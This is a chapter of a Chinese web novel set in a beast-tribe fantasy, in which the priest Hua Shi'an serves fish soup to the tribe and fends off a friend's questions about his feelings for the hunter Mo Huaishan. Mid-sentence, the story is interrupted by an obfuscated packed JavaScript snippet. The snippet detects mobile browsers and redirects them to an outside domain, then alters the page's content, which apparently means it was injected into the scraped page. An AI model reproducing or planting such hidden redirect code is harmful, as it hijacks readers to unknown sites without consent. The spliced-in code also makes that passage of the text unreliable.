一个个鼻子灵得很,花时安刚让莫淮山把竹筒递过来,闻到肉味的兽人一窝蜂似的凑了过来,里三层外三层,将石锅与花时安团团包围。 “天啦,好香好香!”巨启风犹如饿死鬼投胎,直勾勾地盯着石锅,口水都快流下来了,“什么时候可以吃啊祭司大人,锅里真是你们刚才拿的那个鱼?也太香了!” 鱼的香味萦绕鼻间,红云朗半眯着眼睛,一脸陶醉,“真的好香,刚才看那鱼丑兮兮的,煮熟了怎么这么香?还有这汤,变成白色了你们看到没有?” “激动个什么劲儿?刚才说鱼看着恶心,打死都不吃的人是谁来着?”红勇撑着红云朗的肩膀,不遗余力地调侃。 红云朗:“哎呀勇哥,别揭老底嘛!” “不行了不行了,可以吃了吗祭司大人?我好饿。” “原来河里真的有猎物可以吃,我还以为傻大个忽悠人呢。” “反正也抓不到猎物,要不我们狩猎队明天去河里抓鱼吧!要肉有鱼,要食物有松子,要是这阵子多弄点回来,根本不用担心怎么过冬!” “真可以诶,不过那鱼看着滑溜溜的,傻大个都是用像背篓一样的竹具才抓到的,我们是不是也要先做点竹具?” “祭司大人祭司大人,你觉得呢?” 先前看到鱼,族人的兴趣都不大,要么嫌鱼个头小,没多少肉,要么嫌黏糊糊滑腻腻,膈应或者害怕。这会儿看到热腾腾的鱼汤,没人嫌也没人害怕了,问题一个比一个多。 往锅里洒些盐,花时安用筷子将煮熟的鱼捞进竹筒,转头看向众人,捡了几个问题回答:“不是非要鱼笼才能抓鱼,直接下水抓也是可以的。这个就像去森林捕猎一样,一回生二回熟,熟练了空着手照样能抓到。” “淮山抓鱼那个竹具叫鱼笼,回头他可以教大家编。现如今确实不好找猎物,但我们有之前捡的板栗,现下剥出来的松子,暂时没那么缺食物。至于狩猎队到底要不要抓鱼……” 花时安挑眉,勾起嘴角笑了笑,“看你们,想吃就抓,不想吃就不抓。” 听到这话,红云朗迫不及待舔了舔嘴唇,“你就别戏弄我们了祭司大人,这可是肉啊,肉!谁会不想吃。” 呆呆看着石锅的巨明,“我想吃,现在就想吃。” “好想知道是什么味儿,祭司大人……” 花时安:“马上捞完了,拿筷子过来吧。” 鱼本就不多,煮的时间又稍微长了点,煮烂了,剩下的鱼肉也就更少了,全部捞出仅仅两竹筒。这么点肉懒得分,花时安索性叫人拿上筷子,一人在竹筒里夹一点,尝个味儿。 最后一点残渣捞出,拿筷子的兽人匆匆跑了回来,一个个就像是三天饿了九顿,迫不及待地伸进竹筒中夹鱼。 知道人多肉少不够分,大家也很收敛,一人一筷,绝不多夹。 虽然没有松子那么受欢迎,但鱼肉好歹也是肉。有段时日没沾荤腥了,一筷子下去,营地又沸腾起来。 “哇,好吃!闻着香,吃着更香!” “别一下子塞嘴巴里,要学我一样,一点点地抿。祭司大人说了,鱼有刺,小心卡喉咙。” “抓鱼,我要抓鱼,现在就去抓!” “太晚了,明天吧,明儿一早!” “好好吃,还想吃。” …… 没族人说得那么好吃,花时安也尝了一点,鱼肉鲜嫩滑爽,但调味料太少,只有姜和盐,吃着有点腥,还有点寡淡。 要是有酸菜或者辣椒就好了,酸菜鱼、红烧鱼…… 花时安的馋虫被勾起来了。 肉不够吃,锅里鱼汤也不够分,还好花时安早就准备。他让莫淮山拿来竹筒,盛出一半鱼汤倒在另一口锅里,然后……重新加水将熬好的鱼汤稀释一下,一锅鱼汤变两锅。 鱼汤再度沸腾,清洗干净的新鲜马齿苋放入锅中。不用煮太久,浸入汤中随随便便一烫,花时安扭头大喊一声:“吃饭啦!” 摘回来的松果刚好也处理得差不多了,听到动静的族人各自拿上竹筒、筷子,忙而不乱,井然有序地围在火堆旁。 打饭这种辛苦活儿轮不到腿脚不便的花时安,族人赶过来的时候,他已经端着竹筒功成身退,在旁边空地找了个好位置,优哉游哉地品尝美食。 加水稀释过一次,鱼汤颜色明显见淡,像一杯兑了水的牛奶。不过吃着是真的香,鱼的鲜香与马齿苋的清香充分融合,更加的鲜美,还有一丝清甜。 两根马齿苋下肚,花时安黯淡的眸子亮了许多。还不错,比清水野菜好吃多了,甚至比上次的绿鬣蜥炖野菜还要好吃。 “祭司大人。” 一声轻呼从前方传来,花时安抬起头,见撩着裙子的岩知乐匆匆朝他跑来。 棕裙是花时安亲手织的,裙摆长过膝盖。似乎发现了棕裙的正确用途,岩知乐用裙摆充当容器,兜着一大包东西飞快地跑到面前。 不等花时安开口,亚兽人单膝跪地,松开攥在手中的裙摆,被炭火烤过的松子如同一场小雨,“哗哗”掉落在地。 分量不少,松子雨下了好一会儿才停。 忙活完,岩知乐掸平裙摆抬起头,咧着嘴朝花时安笑了笑,“祭司大人,族长说了,今天收获的好日子,松子随便吃,想吃多少吃多少,我特意给你拿过来的。” “谢谢你。”花时安十分感动,但低头看着堆成小山包的松子,嘴角微微抽动了一下,“会不会太多了?我吃不完。” “哪里多,我们两个人吃呀。” 说完,亚兽人转身跑走了。不到半分钟,他又端着竹筒回来了,非常熟络地坐在身旁,喝鱼汤,吃野菜,理所当然地把花时安当成饭搭子。 会错意的花时安略有些尴尬,喝了口鱼汤缓解。 “祭司大人你好厉害啊!”吸饱汤汁的野菜吃进嘴里,岩知乐鼓着腮帮子,眼睛亮晶晶的,一脸崇拜地看着花时安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15409146|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“天天吃的马齿苋到你手里,怎么就变得这么好吃呢?” 嘴巴真甜,花时安笑了,“不是我的功劳,是鱼的功劳。鱼的味道和营养都熬在了鱼汤里,煮野菜当然好吃。” “那也是你的功劳,鱼是你抓的呀。”岩知乐道。 花时安:“我今天一天都和你在一块,待在部落里,哪有时间去抓鱼?鱼是淮山抓回来的。” “才不是!”岩知小嘴一瘪,小声嘟囔:“傻大个自己都说了,鱼笼是你教他编的,也是你带他去放的,没有你,他怎么可能抓得到鱼。” 自己说的?花时安低头喝了口鱼汤,不紧不慢道:“那也不能否定他的功劳,我今天确实没出门,鱼也确实是他带回来的。” 岩知乐忽然停止咀嚼,一瞬不瞬地盯着花时安。过了半晌,他嘴唇微动,压低了嗓音问道:“祭司大人,你是不是喜欢傻大个?我听说你快成年了,不会想找他当伴侣吧?” “咳,咳咳——” 鱼汤呛入气管中,花时安捂着嘴巴直咳嗽。 岩知乐吓坏了,赶忙拍他的后背,帮他顺气,“祭司大人你没事吧?慢点喝嘛,别急。” 这是急不急的问题吗? 花时安哭笑不得,弓着腰咳嗽了好一阵儿,这才慢慢缓过来,泪眼婆娑地看着语出惊人的罪魁祸首,“好了,咳,我没事。你……为什么会觉得我喜欢他?” 显然对这个话题十分感兴趣,岩知乐光速解决掉鱼汤野菜,抛来一个意味深长的眼神,“你待他和其他人不一样,对他特别好,特别照顾他。还有他放跑猎物那天晚上,我看到了!看到你们坐在草地上,挨得特别近,像是在亲——” “没有这种事。”花时安打断他的话,无奈揉了揉眉心。 放下竹筒,岩知乐托着腮望着花时安,如自言自语般喃喃道:“我知道他救过你,但你对他也太好了,好的我都嫉妒。如果我是兽人就好了,我也想做祭司大人的伴侣。” 这话说的,花时安不知道怎么接,赶忙吃根野菜压压惊。 沉默并不能终止话题,岩知乐一个人越说越起劲:“哎!不能做祭司大人的伴侣真遗憾,但我更希望祭司大人能找个好伴侣。你是最厉害,最聪明的亚兽人,应该找一个强大的兽人。” “他怎么样?” 岩知乐果断抬手一指,食指对准的正是火堆旁剥松子的红勇,“狩猎队队长,是部落最聪明最强大的兽人,族长有时候都要听他的话,和祭司大人很般配。而且他——” “知乐,吃东西吧。”花时安按下岩知乐高高举起的手,塞了一把烤松子给他,“不要操这个心了,我暂时没有找伴侣的打算。” 岩知乐瘪了瘪嘴,“好吧,你还没成年,不急着找伴侣。但以后要是找伴侣,你先考虑红勇,红云朗他们呀,反正不要找傻大个当伴侣。” 今天丰收,火堆旁格外热闹,人们剥着松子,喝着汤,老远就能听到欢笑声。 高大的兽人似乎也融入了集体,与族人并肩围坐。没有人和他说话,没有人与他分享食物,他独自吃着松子,但族人笑的时候,他也会跟着露出有点憨憨,又十分真挚的笑容。 漫不经意地扫了一眼,花时安嘴角微微扬起,“再说吧,以后的事情谁说得准。”